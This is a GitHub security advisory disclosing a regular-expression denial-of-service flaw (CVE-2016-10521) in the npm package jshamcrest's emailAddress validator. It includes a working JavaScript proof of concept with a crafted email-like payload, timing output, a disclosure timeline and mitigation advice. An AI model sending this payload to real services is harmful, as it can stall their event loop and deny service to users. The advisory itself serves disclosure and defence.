GitHub Advisoryadvisory · npm
GHSA-xj62-87pg-vcv3 Regular Expression Denial of Service in jshamcrest
HIGH
Official page ↗
- Aliases
- CVE-2016-10521
- Ecosystem
- npm
- Packages
- jshamcrest
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2020-06-16
Affected packages
• npm jshamcrest: <= 0.7.1 (no fix yet)
Description
The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.
Proof of concept
```js
var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
console.log("LENGTH: " + str.length);
var start = process.hrtime();
emailAddress.matches(str)
var end = process.hrtime(start);
console.log(end);
}
```
Results
It takes about 116 characters to get a 1.6 second event loop block.
```
[ 1, 633084590 ]
COUNT: 51
LENGTH: 116
```
Timeline
• October 25, 2015 - Vulnerability Identified
• October 25, 2015 - Maintainers notified (no response)
Recommendation
The `jshamcrest` package currently has no patched versions available.
At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..
Related
Alias · CVE (1)
- CVE-2016-10521 jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress… vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness